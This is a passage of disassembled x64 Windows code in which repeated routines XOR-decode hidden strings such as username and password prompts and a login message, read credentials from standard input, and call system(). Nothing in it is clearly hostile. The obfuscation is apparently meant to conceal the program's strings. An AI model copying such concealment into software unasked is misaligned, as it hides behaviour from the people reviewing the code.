xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170c], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170d], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170e], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x170f], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1710], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1711], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1712], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1713], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1714], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1715], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1716], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1717], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1718], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1719], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171a], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171b], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171c], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171d], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171e], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x171f], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1720], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1721], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1722], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1723], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1724], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1725], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1726], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1727], al
movsx eax, byte [rsp + 0x1708]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n_n__Enter_your_Username___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1728], al
lea rax, [rsp + 0x1729]
lea rax, [rsp + 0x1729]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x238], 0
jmp 0x1400475b5
mov rax, qword [rsp + 0x238]
inc rax
mov qword [rsp + 0x238], rax
cmp qword [rsp + 0x238], 0x20
jae 0x14004761f
mov rax, qword [rsp + 0x238]
lea rax, [rsp + rax + 0x1709]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1708]
xor eax, ecx
mov byte [rsp + 0xd7], al
mov rax, qword [rsp + 0x238]
lea rax, [rsp + rax + 0x1709]
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x750]
mov cl, byte [rsp + 0xd7]
mov byte [rax], cl
jmp 0x1400475a2
mov eax, 0x20
imul rax, rax, 1
lea rax, [rsp + rax + 0x1709]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x758]
mov byte [rax], 0
lea rax, [rsp + 0x1709]
mov qword [rsp + 0x760], rax
mov rdx, qword [rsp + 0x760]
lea rcx, [rsp + 0x1b30]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1b30]
call fcn.140029050
nop
lea rcx, [rsp + 0x1b30]
call fcn.140005314
lea rax, [rsp + 0x1970]
mov dl, byte [rsp + 0x1d0]
mov rcx, rax
call fcn.140005abc
lea rcx, [rsp + 0x1970]
call fcn.1400053f8
nop
lea rdx, [rsp + 0x1970]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140060bb0
mov byte [rsp + 0x16e0], 0x69
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e1], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e2], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e3], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e4], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e5], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e6], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e7], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e8], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16e9], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ea], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16eb], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ec], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ed], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ee], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ef], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f0], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f1], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f2], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f3], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f4], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f5], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f6], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f7], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f8], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16f9], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16fa], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16fb], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16fc], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16fd], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16fe], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ff], al
movsx eax, byte [rsp + 0x16e0]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._n_n_n__Enter_your_Password___
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1700], al
lea rax, [rsp + 0x1701]
lea rax, [rsp + 0x1701]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x240], 0
jmp 0x140047be7
mov rax, qword [rsp + 0x240]
inc rax
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x240], 0x20
jae 0x140047c51
mov rax, qword [rsp + 0x240]
lea rax, [rsp + rax + 0x16e1]
mov qword [rsp + 0x768], rax
mov rax, qword [rsp + 0x768]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e0]
xor eax, ecx
mov byte [rsp + 0xd8], al
mov rax, qword [rsp + 0x240]
lea rax, [rsp + rax + 0x16e1]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x770]
mov cl, byte [rsp + 0xd8]
mov byte [rax], cl
jmp 0x140047bd4
mov eax, 0x20
imul rax, rax, 1
lea rax, [rsp + rax + 0x16e1]
mov qword [rsp + 0x778], rax
mov rax, qword [rsp + 0x778]
mov byte [rax], 0
lea rax, [rsp + 0x16e1]
mov qword [rsp + 0x780], rax
mov rdx, qword [rsp + 0x780]
lea rcx, [rsp + 0x1bb0]
call fcn.140004f10
nop
mov edx, 0x14
lea rcx, [rsp + 0x1bb0]
call fcn.140029050
nop
lea rcx, [rsp + 0x1bb0]
call fcn.140005314
lea rax, [rsp + 0x19d0]
mov dl, byte [rsp + 0x1d1]
mov rcx, rax
call fcn.140005abc
lea rcx, [rsp + 0x19d0]
call fcn.1400053f8
nop
lea rdx, [rsp + 0x19d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140060bb0
mov byte [rsp + 0x1508], 3
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1509], al
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150a], al
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150b], al
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150c], al
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150d], al
movsx eax, byte [rsp + 0x1508]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.login_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x150e], al
lea rax, [rsp + 0x150f]
lea rax, [rsp + 0x150f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x248], 0
jmp 0x140047e23
mov rax, qword [rsp + 0x248]
inc rax
mov qword [rsp + 0x248], rax
cmp qword [rsp + 0x248], 6
jae 0x140047e8d
mov rax, qword [rsp + 0x248]
lea rax, [rsp + rax + 0x1509]
mov qword [rsp + 0x788], rax
mov rax, qword [rsp + 0x788]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1508]
xor eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x248]
lea rax, [rsp + rax + 0x1509]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x790]
mov cl, byte [rsp + 0x9c]
mov byte [rax], cl
jmp 0x140047e10
mov eax, 6
imul rax, rax, 1
lea rax, [rsp + rax + 0x1509]
mov qword [rsp + 0x798], rax
mov rax, qword [rsp + 0x798]
mov byte [rax], 0
lea rax, [rsp + 0x1509]
mov qword [rsp + 0x7a0], rax
mov r8, qword [rsp + 0x7a0]
lea rdx, [0x140101570]
lea rcx, [rsp + 0x1d68]
call fcn.1400601d8
mov qword [rsp + 0x7a8], rax
mov rax, qword [rsp + 0x7a8]
mov qword [rsp + 0x7b0], rax
lea rdx, [0x140101530]
mov rcx, qword [rsp + 0x7b0]
call fcn.1400538bc
mov qword [rsp + 0x7b8], rax
mov rax, qword [rsp + 0x7b8]
mov qword [rsp + 0x7c0], rax
mov rdx, qword [rsp + 0x7c0]
lea rcx, [rsp + 0x1af0]
call fcn.140004e84
mov eax, dword [rsp + 0xdc]
or eax, 2
mov dword [rsp + 0xdc], eax
lea rax, [rsp + 0x1af0]
mov qword [rsp + 0x7e8], rax
mov byte [rsp + 0x80], 0x40
movsx eax, byte [rsp + 0x80]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3984]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x82]
lea rax, [rsp + 0x82]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x250], 0
jmp 0x140047fc3
mov rax, qword [rsp + 0x250]
inc rax
mov qword [rsp + 0x250], rax
cmp qword [rsp + 0x250], 1
jae 0x14004802d
mov rax, qword [rsp + 0x250]
lea rax, [rsp + rax + 0x81]
mov qword [rsp + 0x7c8], rax
mov rax, qword [rsp + 0x7c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
xor eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x250]
lea rax, [rsp + rax + 0x81]
mov qword [rsp + 0x7d0], rax
mov rax, qword [rsp + 0x7d0]
mov cl, byte [rsp + 0x9d]
mov byte [rax], cl
jmp 0x140047fb0
mov eax, 1
imul rax, rax, 1
lea rax, [rsp + rax + 0x81]
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0x7d8]
mov byte [rax], 0
lea rax, [rsp + 0x81]
mov qword [rsp + 0x7e0], rax
mov r8, qword [rsp + 0x7e0]
mov rdx, qword [rsp + 0x7e8]
lea rcx, [rsp + 0x1d48]
call fcn.140060134
mov qword [rsp + 0x7f0], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x7f8], rax
lea rdx, [rsp + 0x1970]
mov rcx, qword [rsp + 0x7f8]
call fcn.1400538bc
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x808], rax
mov rdx, qword [rsp + 0x808]
lea rcx, [rsp + 0x1cd0]
call fcn.140004e84
mov eax, dword [rsp + 0xdc]
or eax, 8
mov dword [rsp + 0xdc], eax
lea rax, [rsp + 0x1cd0]
mov qword [rsp + 0x830], rax
mov byte [rsp + 0x84], 0x33
movsx eax, byte [rsp + 0x84]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3964]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x86]
lea rax, [rsp + 0x86]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x258], 0
jmp 0x140048165
mov rax, qword [rsp + 0x258]
inc rax
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 1
jae 0x1400481cf
mov rax, qword [rsp + 0x258]
lea rax, [rsp + rax + 0x85]
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x84]
xor eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x258]
lea rax, [rsp + rax + 0x85]
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0x818]
mov cl, byte [rsp + 0x9e]
mov byte [rax], cl
jmp 0x140048152
mov eax, 1
imul rax, rax, 1
lea rax, [rsp + rax + 0x85]
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov byte [rax], 0
lea rax, [rsp + 0x85]
mov qword [rsp + 0x828], rax
mov r8, qword [rsp + 0x828]
mov rdx, qword [rsp + 0x830]
lea rcx, [rsp + 0x1d28]
call fcn.140060134
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x838]
mov qword [rsp + 0x840], rax
lea rdx, [rsp + 0x19d0]
mov rcx, qword [rsp + 0x840]
call fcn.1400538bc
mov qword [rsp + 0x848], rax
mov rax, qword [rsp + 0x848]
mov qword [rsp + 0x850], rax
mov rdx, qword [rsp + 0x850]
lea rcx, [rsp + 0x1cf0]
call fcn.140004e84
mov eax, dword [rsp + 0xdc]
or eax, 0x20
mov dword [rsp + 0xdc], eax
lea rax, [rsp + 0x1cf0]
mov qword [rsp + 0x878], rax
mov byte [rsp + 0x88], 0x5a
movsx eax, byte [rsp + 0x88]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3954]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x8a]
lea rax, [rsp + 0x8a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x260], 0
jmp 0x140048307
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x260], 1
jae 0x140048371
mov rax, qword [rsp + 0x260]
lea rax, [rsp + rax + 0x89]
mov qword [rsp + 0x858], rax
mov rax, qword [rsp + 0x858]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x88]
xor eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x260]
lea rax, [rsp + rax + 0x89]
mov qword [rsp + 0x860], rax
mov rax, qword [rsp + 0x860]
mov cl, byte [rsp + 0x9f]
mov byte [rax], cl
jmp 0x1400482f4
mov eax, 1
imul rax, rax, 1
lea rax, [rsp + rax + 0x89]
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
mov byte [rax], 0
lea rax, [rsp + 0x89]
mov qword [rsp + 0x870], rax
mov r8, qword [rsp + 0x870]
mov rdx, qword [rsp + 0x878]
lea rcx, [rsp + 0x1ab0]
call fcn.140060134
nop
lea rcx, [rsp + 0x1cf0]
call fcn.140005314
nop
lea rcx, [rsp + 0x1d28]
call fcn.140005314
nop
lea rcx, [rsp + 0x1cd0]
call fcn.140005314
nop
lea rcx, [rsp + 0x1d48]
call fcn.140005314
nop
lea rcx, [rsp + 0x1af0]
call fcn.140005314
nop
lea rcx, [rsp + 0x1d68]
call fcn.140005314
lea rcx, [0x1400d399c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x90], 0x27
movsx eax, byte [rsp + 0x90]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d39ac]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x91], al
movsx eax, byte [rsp + 0x90]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d39ac]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x93]
lea rax, [rsp + 0x93]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x268], 0
jmp 0x1400484b6
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
cmp qword [rsp + 0x268], 2
jae 0x140048520
mov rax, qword [rsp + 0x268]
lea rax, [rsp + rax + 0x91]
mov qword [rsp + 0x880], rax
mov rax, qword [rsp + 0x880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x90]
xor eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x268]
lea rax, [rsp + rax + 0x91]
mov qword [rsp + 0x888], rax
mov rax, qword [rsp + 0x888]
mov cl, byte [rsp + 0xa0]
mov byte [rax], cl
jmp 0x1400484a3
mov eax, 2
imul rax, rax, 1
lea rax, [rsp + rax + 0x91]
mov qword [rsp + 0x890], rax
mov rax, qword [rsp + 0x890]
mov byte [rax], 0
lea rax, [rsp + 0x91]
mov qword [rsp + 0x898], rax
mov rcx, qword [rsp + 0x898]
call fcn.140005fa4
mov cx, 9
call fcn.1400290ec
mov byte [rsp + 0x16a8], 0x75
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16a9], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16aa], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ab], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.__Login_in_progress...
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x16ac], al
movsx eax, byte [rsp + 0x16a8]
mov ecx, 1
